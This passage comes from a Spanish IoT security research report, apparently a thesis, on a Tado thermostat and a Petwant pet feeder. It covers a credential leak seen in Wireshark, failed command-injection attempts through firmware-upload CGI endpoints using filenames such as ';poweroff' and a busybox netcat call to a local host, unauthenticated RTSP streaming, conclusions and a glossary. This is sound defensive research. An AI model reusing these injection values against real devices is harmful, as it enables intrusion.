LT IR LT File Data: 2830 bytes

LAk EEl ~ Data (2838 bytes)

Data: 76617220747a3d2d373230303b0dRa766172206e74705T65. ..
[Length: 2830]

41 148.558188 14 da e9 cb 86 bb 1a a6 f7 d2 9b 5a 08 00 45 00  ........ Z..E
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13 140, 597006¢ 02 8d 80 51 85 6b 5b e4 77 2f 5d d8 71 6f 88 18 Q.k[. w/].qo
44 148.597044 of 30 91 al @0 B0 01 01 08 0a ff ff a3 11 08 1f - T
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: " .
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FIGURA 97 - CAPTURA DE WIRESHARK DONDE SE VEN LAS CREDENCIALES DE ADMINISTRADOR




Haciendo login con los credenciales de administrador en el panel web, se siguen teniendo
aparentemente las mismas opciones que un usuario normal.

Se ha intentado inyectar comandos en los parametros que se envian a los dos binarios
mencionados anteriormente, pero no se ha conseguido ejecutar ningliin comando.

POST http://192.168.2.143:81/cgi-bin/upgrade_firmware.cgi?loginuse-operate&loginpas=cDhINnQxczM=Enext_url=reboot.htm HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;g=0.5

Referer: http://192.168.2.143:81/maintance.htm

Cookie: languag glish; how=0; browser=1; loginuser=operate; loginpass=cDhlNnQxczMs3D
Authorization: Basic b3BlcmFOZTpwOGU2dDFzMw—

Connection: keep-alive

Content-Type: multipart/Torm-data: BOURdAry=-- - --cccoooooooaoooo- 1867543412253694801322931618
Content-Length: 412

Host: 192.168.2.143:81

----------------------------- 1867543412253694891322931618
Content-Disposition: form-data; name="file"; filename=";poweroff"
Content-Type: application/x-tar

yI2xZoE) Fol cat/dfamy{l2n

73" <R 3+ ek —6A0 ihgRiZ4mD@0. Qa2 - YhD]) «L ! - EQO<d - (DcOzi&en Q¢hfnkad ™ 0Xi; )dho;~+ayAoqii<b_DR00>ELn75gpY).( 2 Te <]} 2xhgiasYZ
----------------------------- 1867543412253604891322931618- -

FIGURA 98 - INTENTO DE INYECCION DE COMANDOS A TRAVES DE UPGRADE_FIRMWARE.CGI

{ [Muﬂt] Responsel

| Method w| | Header: Text \v/ | Body: Text W 0 e@0E2e
POST http://192.168.2.143:81/cgi-bin/upgrade_htmls.cgi HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-US,en;g=0.5

Referer: http://192.168.2.143:81/maintance.htm

Authorization: Basic YWRtaW46VXJEWUJOYzZAIMA==

Connection: keep-alive

Content-Type: multipart/form-data; boundary=------------ceceeeeononnnn 3448587603319810701345659144

Content-Length: 281
|Host: 192.168.2.143:81

feccasaceccacicecinenianenacs 3448587603319810701345659144
Content-Disposition: form-data; name=*file"; filename=";nc 192.168.2.141 1234"
Content-Type: application/x-raw-disk-image

/bin/busybox nc 192.168.2.141 1234
e R L CE L 3448587603319810701345659144- -

Time: 4023 ms Body Length: 298 bytes Total Length: 532 bytes

FIGURA 99 - INTENTO DE INYECCION DE COMANDOS A TRAVES DE UPGRADE_HTMLS.CGI




Al lanzar una peticidn en el binario “upgrade_htmls.cgi”, con un archivo con el nombre que se
esperaba, el equipo sin comprobar el contenido, ha borrado todas las paginas HTML y binarios
CGI que tenia en el sistema para guardar los “nuevos” que se han subido, por lo que se ha
perdido esta via de ataque.

(thisfilename—"")

r war tips-= updatefile empty;
(war tips);

(getfileformat -". attr head name
var war tips- updateul unmatch;
ilert(war tips);

FIGURA 100 - FILTRO DE NOMBRE EN JAVASCIRPT

Servidor RTSP:

Mirando por el cddigo de las paginas del servidor web, hay un archivo que parece gestionar la
parte del RTSP para mostrarlo por la web (serverpush.htm), en el que se ve la URL que usa para
ver el streaming de video:

var rtsp pwd userl pwd;
r rtsp auth enable 2

(rtsp auth enabl
connecthost :

connecthost

connecthost

connecthost

connecthost
} {

connecthost
}

connecthost location.hostname;
connecthost Bots

connecthost rtspport;
connecthost "/H264";

w display
h display

FIGURA 101 - URL DEL STREAMING DE LA CAMARA



Y ahora, si se introduce la URL completa en el reproductor de video, ya se tiene acceso al
contenido:

rtsp://192.168.0.1:8554/H264

Test - SMPlayer e ® 0
Open Play Video Audio Subtitles Browse View Options Help

D ol i) (900 P gl

o

00:00:08 / 00:00:00

FIGURA 102 - STREAMING EN DIRECTO DE LA CAMARA



5. Conclusiones

Tras haber realizado las distintas investigaciones en ambos equipo (Climatizador Inteligente de
Tado y Dispensador Inteligente de comida de Petwant) se puede concluir que el objetivo inicial
del proyecto, que era encontrar vulnerabilidades y obtener los maximos privilegios sobre los
dispositivos no se ha logrado completar del todo, se han identificado diversas vulnerabilidades
relativas a uno de los dispositivos mientras que para el otro dispositivo no se ha encontrado
ninguna. A lo largo de todas las pruebas realizadas durante la investigacion, se ha desarrollado
el conocimiento de cdmo abordar “a ciegas” un dispositivo al que en un principio no se conoce
practicamente nada, como interpretar los diferentes resultados obtenidos de las pruebas y
como seguir buscando nuevas vias de ataque al sistema cuando se agotan las pruebas que
estaban previstas.

Durante el proceso de investigacidn se ha seguido la misma metodologia para ambos
dispositivos (excepto en el caso en el que la via de investigacién obliga a seguir un camino
distinto debido a la naturaleza del equipo), que ha consistido primero en identificar las
funcionalidades de las que dispone el equipo, seguido de un andlisis del trafico de red que
intercambia con sus servidores, un escaneo de servicios antes de que el dispositivo se conecte
con sus servidores, un escaneo de servicios una vez el equipo ya se encuentra en modo
totalmente funcional, un pequefio andlisis de la aplicacidon de Android y finalmente todos estos
puntos comentados anteriormente se han apoyado con un analisis del hardware implementado
en el equipo.

Finalmente, después de todas las pruebas realizadas, ha resultado que el fabricante del
climatizador inteligente ha disefiado e implementado el dispositivo teniendo en cuenta
diferentes aspectos relativos a la seguridad, de forma que no se ha logrado encontrar ninguna
vulnerabilidad. Entre otras cosas, esto ha sido posible gracias a los siguientes puntos:

Comunicaciones
HTTPS (mas
Challenge)

Integracion de la
memoria flash dentro
del médulo Wi-Fi

Servicios innecesarios
desactivados

Interfaz JTAG sin
pines, desactivado y
ofuscado

Durante el analisis del trafico se vio que las comunicaciones con el
servidor estan cifradas y no se podia servir otro certificado con el

proxy.

Tras analizar la memoria flash del circuito, se vio que donde
realmente estaba guardado el firmware era en el mddulo Wi-Fi
integrado con el ARM, de forma que su acceso es bastante
complicado.

Después de haber realizado un escaneo de servicios una vez el
equipo se encuentra en modo operacional, no se vieron servicios
activos.

No ha sido posible interactuar con los componentes del circuito para
extraer el firmware a través del interfaz JTAG.


http://www.ti.com/product/CC3200MOD

El servidor web que dispone el equipo para procesar los
credenciales del Wi-Fi pertenece a Texas Instruments y es
aparentemente seguro.

Servidor Web Seguro

TABLA 3 - CONCLUSIONES DEL CLIMATIZADOR INTELIGENTE TADO

Por el contrario, el dispensador de comida no parece haber sido disefiado e implementado
basandose en la seguridad, sino mas bien una integracién un tanto pobre de distintos

componentes de terceros, lo que ha resultado en distintas vulnerabilidades como:

Servicios activos por
defecto

Cliente DHCP
vulnerable

Firmware sin cifrary
con posibilidad de
extraccion

Puerto serie
habilitado

Credenciales Wi-Fi en
claro

Hash de la contraseiia
de root en DES Crypt

Leak de credenciales

del interfaz web

Autenticacion RTSP
deshabilitada

En el analisis de servicios activos del dispositivo en estado
operacional se vio que tenia activos los servicios Telnet y un servidor
web, que no estan documentados en sus guias de usuario y que no
son necesarios.

En la parte de negociacion DHCP, durante el andlisis del trafico de
red se vio que el cliente DHCP que usa es udhcp 1.20.2
(perteneciente a BusyBox 1.20.2), y éste tiene dos vulnerabilidades
publicas, CVE-2016-2147 y CVE-2016-2148.

El firmware se puede extraer del dispositivo sin muchos problemas
(quitando un poco la silicona y desconectando los cables con
cuidado) y se encuentra sin ningun tipo de cifrado.

Justo al lado del microprocesador ARM se encuentra tres puntos de
conexién sin pines identificados con sus respectivos nombres,
grabados en la placa del circuito.

Durante la fase de andlisis del sistema de ficheros se vio que las
credenciales del Wi-Fi se encontraban en texto claro en algin
archivo.

En el fichero shadow se vio que la contraseifa de root estaba
hasheada con DES Crypt, el algoritmo tradicional de UNIX, que a dia
de hoy se considera inseguro y no se recomienda de ninguna
manera su uso, ya que se puede realizar fuerza bruta de manera
eficiente.

Navegando por el interfaz web del que dispone el equipo, se
identific6 desde Wireshark un leak de los nombres de usuario y
contrasefias para acceder al panel web.

En los archivos de configuracion del servicio RTSP la autenticacion
estaba marcada como desactivada por defecto.


http://www.ti.com/lit/ug/swru368a/swru368a.pdf
https://nvd.nist.gov/vuln/detail/CVE-2016-2147
https://nvd.nist.gov/vuln/detail/CVE-2016-2148
http://www.freeswan.org/freeswan_trees/freeswan-1.5/doc/DES.html

Binario del servidor  El binario que procesa una posible actualizacién HTML del interfaz
web que no web no comprueba el contenido de lo que se guarda (solo el nombre
comprueba contenido del fichero).

TABLA 4 - CONCLUSIONES DEL DISPENSADOR DE COMIDA INTELIGENTE DE PETWANT

5.1. Trabajos Futuros

Como posibles continuaciones a las investigaciones de ambos equipos se presentan las
siguientes opciones:

Climatizador inteligente:

=  Por el interfaz JTAG y con un analizador légico se podria a lo mejor intentar conseguir
algun tipo de dato.

= Por el interfaz JTAG y con algun depurador especial de Texas Instruments para
programar moddulos, se podria interactuar con los chips del circuito, con el fin de lograr
extraer el firmware.

Dispensador de comida inteligente:

= Crackear la contrasefia de root para lograr el acceso al dispositivo
= Analizar detenidamente los binarios de la comunicacién con sus servidores
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7. ANEXO B - Glosario de términos

Término

Busybox

Command Injection

Firmware

Fuzzing

JTAG

MITM

(Man In The Middle)

OWASP

Definicion

Es un programa que combina muchas utilidades estandares
de Unix en un solo ejecutable pequefio. Es capaz de proveer la
mayoria de las utilidades que estan especificadas para los
sistemas Unix ademas de muchas de las utilidades que suelen
verse en sistemas GNU/Linux. Busybox es utilizada normalmente
en sistemas que funcionen desde un disco flexible o en sistemas
con Linux empotrado. Es software libre licenciado bajo la
licencia GNU GPL.

Es un ataque en el cual el objetivo es la ejecucion de cddigo
arbitrario en el sistema operativo anfitrion mediante una
aplicacién vulnerable. Los ataques por inyeccion de comando son
posibles cuando wuna aplicacién pasa datos inseguros
suministrados por el usuario (forms, cookies, HTTP headers, etc..)
a una shell del sistema.

Es un programa informatico que establece la logica de mas bajo
nivel que controla los circuitos electrénicos de un dispositivo de
cualquier tipo. Estad fuertemente integrado con la electrdnica del
dispositivo, es el software que tiene directa interaccion con
el hardware, siendo asi el encargado de controlarlo para ejecutar
correctamente las instrucciones externas.

Diferentes técnicas de testeo de software capaces de generar y
enviar datos secuenciales o aleatorios a una o varias areas o puntos
de una aplicaciéon, con el objeto de detectar defectos o
vulnerabilidades existentes en el software auditado.

Es una interfaz especial de cuatro o cinco pines agregadas a un
chip, disefiada de tal manera que varios chips en una tarjeta
puedan tener sus lineas JTAG conectadas en daisy chain, de
manera tal que una sonda de testeo JTAG necesita conectarse a un
solo "puerto JTAG" para acceder a todos los chips en un circuito
impreso.

Es un ataque en el que se adquiere la capacidad de leer, insertar y
modificar a voluntad. El atacante debe ser capaz de observar e
interceptar mensajes entre las dos victimas los mensajes entre dos
partes sin que ninguna de ellas conozca que el enlace entre ellos
ha sido violado.

Es un proyecto de cddigo abierto dedicado a determinar y
combatir las causas que hacen que el software sea inseguro. La
comunidad OWASP esta formada por empresas, organizaciones
educativas y particulares de todo mundo.
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SQL Injection

SquashFS

SPI

Wireshark

XSS

Ataque a una base de datos en el cual, por la mala filtracién de las
variables se puede inyectar un cédigo creado por el atacante al
propio cddigo fuente de la base de datos.

Es un sistema de archivos comprimido de solo lectura para Linux.
SquashFS comprime archivos, inodos y directorios, y soporta
tamanfos de bloque de hasta 1024 KB para mayor compresion.
SquashFS es también software libre (licenciado como GPL) para
acceder a sistemas de archivos SquashFS. Esta pensado para su uso
como sistema de archivos genérico de solo lectura y en dispositivos
de bloques/sistemas de memoria limitados (por ejemplo, sistemas
embebidos), donde se requiere poca sobrecarga.

Serial Periphereal Interface. Es un estandar de comunicaciones,
usado principalmente para la transferencia de informacion entre
circuitos integrados en equipos electrénicos. El bus SPIl es un
estandar para controlar casi cualquier dispositivo electrénico
digital que acepte un flujo de bits serie regulado por un reloj
(comunicacion sincrénica).

Incluye una linea de reloj, dato entrante, dato saliente y un pin
de chip select, que conecta o desconecta la operacién del
dispositivo con el que uno desea comunicarse. De esta forma,
este estdndar permite multiplexar las lineas de reloj.

Wireshark, antes conocido como Ethereal, es un analizador de
protocolos utilizado para realizar analisis y solucionar problemas
en redes de comunicaciones, para desarrollo de software y
protocolos, y como una herramienta didactica. ... Permite
examinar datos de una red viva o de un archivo de captura salvado
en disco.

Es un tipo de inseguridad informatica o agujero de seguridad tipico
de las aplicaciones Web, que permite a una tercera persona
inyectar en paginas web visitadas por el usuario codigo JavaScript o
en otro lenguaje similar (ej: VBScript), evitando medidas de control
como la Politica del mismo origen.
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